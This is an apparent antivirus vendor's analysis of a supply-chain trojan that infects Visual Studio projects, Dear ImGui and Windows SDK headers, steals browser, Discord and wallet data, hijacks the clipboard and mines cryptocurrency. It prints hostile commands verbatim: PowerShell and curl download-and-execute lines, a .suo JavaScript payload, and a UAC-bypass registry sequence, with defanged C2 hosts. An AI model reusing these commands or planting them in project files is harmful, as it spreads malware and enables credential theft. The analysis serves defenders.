Software developers are the target. New trojan attacks supply chains and inflicts multifaceted damage on infected PCs

A new trojan engaging in supply chain attacks has recently come under the scrutiny of our antivirus laboratory. The malware primarily targets C++ and C# project files. This malicious sample is particularly dangerous as its payload incorporates multiple damaging features, allowing it to steal data, access clipboard content, operate as a backdoor, engage in rogue mining. and also infect other files.

First discovered in the last quarter of 2025, the malware has been updated and upgraded by its makers ever since. It mainly spreads over the Internet via infected executable files and Python scripts. The infection process is quite complex, so let’s examine the entire sequence phase by phase.

Phase 1. Trojan.DownLoader49.35384

Doctor Web malware researchers have discovered that many infected files of legitimate applications follow a similar pattern. A global object is introduced into the original executable file. As soon as the trojanized application starts to be executed, the malware takes advantage of the PEB walking technique to gain access to system APIs. Next, the standard initterm method walks the table of function pointers and initializes them. One of these functions is malicious and runs a PowerShell command. In some versions of the trojan, this payload is encrypted.

 

Use of initterm to start

The PowerShell command downloads and executes the malicious file Trojan.DownLoader49.35687, which moves the infection process to phase 2.

 

Malicious PowerShell command

In addition to infected executable files, malicious Python scripts (Python.Downloader.255) were discovered. These files contaiedn the same malicious code, but in this case, the code was encrypted with Fernet. The code is concealed using the most basic obfuscation trick—a multitude of whitespace characters in the first line. In this case, execution is also carried out in several stages.

 

Malicious Python scripts

Phase 2. Trojan.DownLoader49.35687

In this phase, Trojan.DownLoader49.35687 checks whether it is being launched in a sandbox. It creates the mutex synchronization object Global\PFNMX (a fixed value). An example of such an object: \Sessions\1\BaseNamedObjects\Global\PFNMX_0o6u9MMc2QdKvqeHmgPRE008. The Trojan uses the object to determine whether another instance of it has already been launched on the computer.

During phase 2, the trojan attempts to acquire the addresses of a C2 (Command and Control) server via public GitHub repositories and Steam. Attackers post relevant domain names on these platforms so that the trojan can read them and use them to download phase 3: BackDoor.Siggen2.5906.

The Steam accounts created by the attackers contain information about the domain name in plain text.

 

The Steam profile page containing the C2 domain name

On GitHub, the attackers stored the encrypted C2 server address as a raw file: raw[.]githubusercontent[.]com/XxXloverXxX/rustflare/refs/heads/main/crates/engine. The trojan downloads this file and decrypts it, first using Base64, and then employs XOR and ZwFlushKey.

 

Encrypted domain names

Once the download is complete, Trojan.DownLoader49.35687 injects the malicious code into the process of one of the 41 pre-defined executables found in C:\Windows\System32.

The address of the C2 server that the trojan successfully connected to is then added to hardcoded strings and transmitted to the next phase via the named pipe pipe\VccFrameworkchannel.

Phase 3. BackDoor.Siggen2.5906

In this phase, the trojan carries out its principal malicious tasks. BackDoor.Siggen2.5906 creates the mutex object global\ PFNX_side (a fixed value). Next, it uses the previously created pipe to receive data from the phase 2 trojan, which includes the trojan’s ID and C2 addresses that BackDoor.Siggen2.5906 is to communicate with.

To persist in the system, BackDoor.Siggen2.5906 downloads the file "bungee.boo", which contains the phase 2 trojan (Trojan.DownLoader49.3568) payload and replaces the following DLL files with it

• Discord's profapi.dll,
• "domain_actions.dll" in the "Domain Actions" folder and "well_known_domains.dll" in the "Well Known Domains" folder used by Microsoft Edge,
• C:\Windows\omadmapi.dll.

BackDoor.Siggen2.5906 can also modify the Windows registry so that opening a compressed file with WinRar.exe will trigger the execution of malicious code.

To carry out actions that require administrator privileges, the backdoor employs a UAC bypass technique. The malware generates a .vbs script with a random digit-based name. The script contains an instruction that requires administrator permissions. It then uses cmd.exe to run the following commands:

reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe
%APPDATA%\Microsoft\369059.vbs" /f
reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
c start /B ComputerDefaults.exe

Next, the trojan carries out its five principal malicious tasks: steal data, access clipboard content, engage in rogue mining, and infect other files.

Data theft

The trojan can steal various information, including:

• discord tokens for signing in under other people's accounts without entering a login/password;
• passwords and cookie files used by Chrome, Edge, Opera, Brave, Yandex Browser, etc. In addition to conventional data extraction techniques, it can also use the CCCWF.tmp file (Trojan.PWS.Siggen5.33623). It injects its code into the browser process to intercept passwords and saves them in text files;
• Telegram Desktop folders;
• Exodus crypto wallet folders.

In addition to stealing Exodus’s folders, the trojan modifies the crypto wallet. To accomplish this, it locates the app.asar file and replaces it with a file downloaded with curl from the URL found in balista[.]lol/Stb/PokerFace/RTApp[.]txt. In the replaced version, index.js (Trojan.Siggen32.44702) contains the unlock() function, which, when launched, intercepts the wallet recovery phrases and relays them to the attackers’ server.

 

Spoofed file index.js

Accessing clipboard contents

This malicious feature is particularly dangerous. The malware constantly monitors the clipboard contents to extract bank card data and send it to the attackers' server. It also replaces the addresses of crypto wallets with fake addresses provided by the C2 server.

Backdoor

It enables attackers to remotely control the infected PC by using the following commands:

Rogue mining

The trojan uses curl to download and run the file https://files[.]catbox[.]moe/lvh9j3[.]bin— Trojan.Packed2.50953. Its payload and design are similar to those of the phase 2 trojan, but it downloads and deploys Trojan.BtcMine.3956 instead of BackDoor.Siggen2.5906. This rogue mining component only starts after a user has remained idle for a certain period of time. The malware relies on readily available open-source tools: XMRig, T-Rex and TeamRedMiner.

Infecting files

The trojan is also distinguished for its ability to infect files and subsequently spread to other machines. The files it infects include:

• imgui_impl_win32.cpp,
• .suo,
• .exe,
• winnetwk.h (Windows SDK),
• .vcxproj and .csproj.

To determine the paths to target files, the trojan examines the available disk drives and runs a command. For example, for drive A://

dir /a /s /b A:\*imgui_impl_win32.cpp A:\*.suo A:\*.exe A:\*.vcxproj A:\*.csproj > %ALLUSERSPROFILE%\ADat.bin3290.

Attackers assume that developers make their compromised projects available to the general public. Then other developers who build, compile, or modify a project will automatically have their machines get infected by means of the .suo, .vcxproj, and .csproj files. Meanwhile, regular users may run infected executables created using compromised software development tools.

The file imgui_impl_win32.cpp. Trojan.Loader.3129

The file imgui_impl_win32.cpp is part of Dear ImGui, a popular GUI library for C++. The trojan adds two lines into the file: the first contains the payload, while the second launches it.

 

The payload code

 

The payload launch line

The command is as follows:

start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api[.]tf/Stb/Retev.php?bl=1BRn03AWabt6xvxWdzDSW01.txt' -OutFile $env:APPDATA\BK879002.exe; Start-Process -FilePath $env:APPDATA\BK879002.exe -WindowStyle Hidden }" 

As a result, the library gets infected and any subsequently created applications written in C++ will contain malicious code. Subsequent transfers and downloads of such applications will spread the infection further.

The .suo files. Trojan.Loader.3138

This filename extension is associated with Microsoft Visual Studio. These files store user settings for specific projects. The trojan replaces an original file with its infected version downloaded from the C2 server.

 

Infected file

As a result, opening the corresponding project in Visual Studio, will also run this malicious code:

javascript:new ActiveXObject('WScript.Shell').Run('cmd /b /c curl -o \"C:\\ProgramData\\S47LY.exe\" \"https://pee-files[.]nl/Stb/Retev.php?bl=1BRn03AWabt6xvxWdzDSW01.txt\" && start \"\" \"C:\\ProgramData\\S47LY.exe\"', 0, false);close();

Winnetwk.h files. Trojan.Loader.3184

Windows SDK is Microsoft’s official toolkit for creating applications for Windows.

The trojan uses the registry to locate Windows SDK’s installation folder. It then looks in the folder for the file winnetwk.h, which is responsible for implementing networking features. The trojan adds malicious code into the file.

 

The infected file winnetwk.h

It ensures that all subsequently created apps relying on winnetwk.h will incorporate the phase 2 trojan code.

Compromising .exe files

The trojan searches for suitable .exe files and injects its API and initterm initialisation functions into them. Then the file starts performing the functions of the phase 1 malware, a.k.a. Trojan.DownLoader49.35384.

Infected .vcxproj files (Trojan.Loader.3128, Trojan.Loader.3127) and .csproj (Trojan.Loader.3126)

These are Visual Studio’s C++ and C# project files. The malware adds a pre-build event into the IDE to ensure that a malicious command is run automatically before any project build is created. Early versions of the trojan introduced code similar to the phase 1 trojan’s.

 

The early version of the code

In later versions, the code has become more complex and includes additional obfuscation features.

 

The later version of the code

 

One of Trojan.Loader.3128’s execution stages

Executing the malicious command creates a .vbs script that, in turn, runs a PowerShell payload. The trojan sends queries using these URLs:

• youtu.be/akoxddx6lgc,
• steamcommunity.com/profiles/76561198737324192.

They point to a YouTube account page containing yet another base64-encrypted URL.

 

The YouTube account page hosting the encrypted URL

Decrypting the URL results in the trojan getting a C2 server address that it will use to download a payload similar to phase 2’s malware.

A diverse set of malicious features makes this trojan extremely dangerous. To ensure that your system doesn't get infected and to prevent the trojan from spreading to other computers, we recommend that you regularly update your antivirus’s databases and scan each and every file you download over the Internet. Dr.Web Security Space and Dr.Web Desktop Security Suite users have no reason to worry as Dr.Web always detects and eliminates this threat. It also cures .vcxproj, .csproj and imgui files by removing the malicious code from them.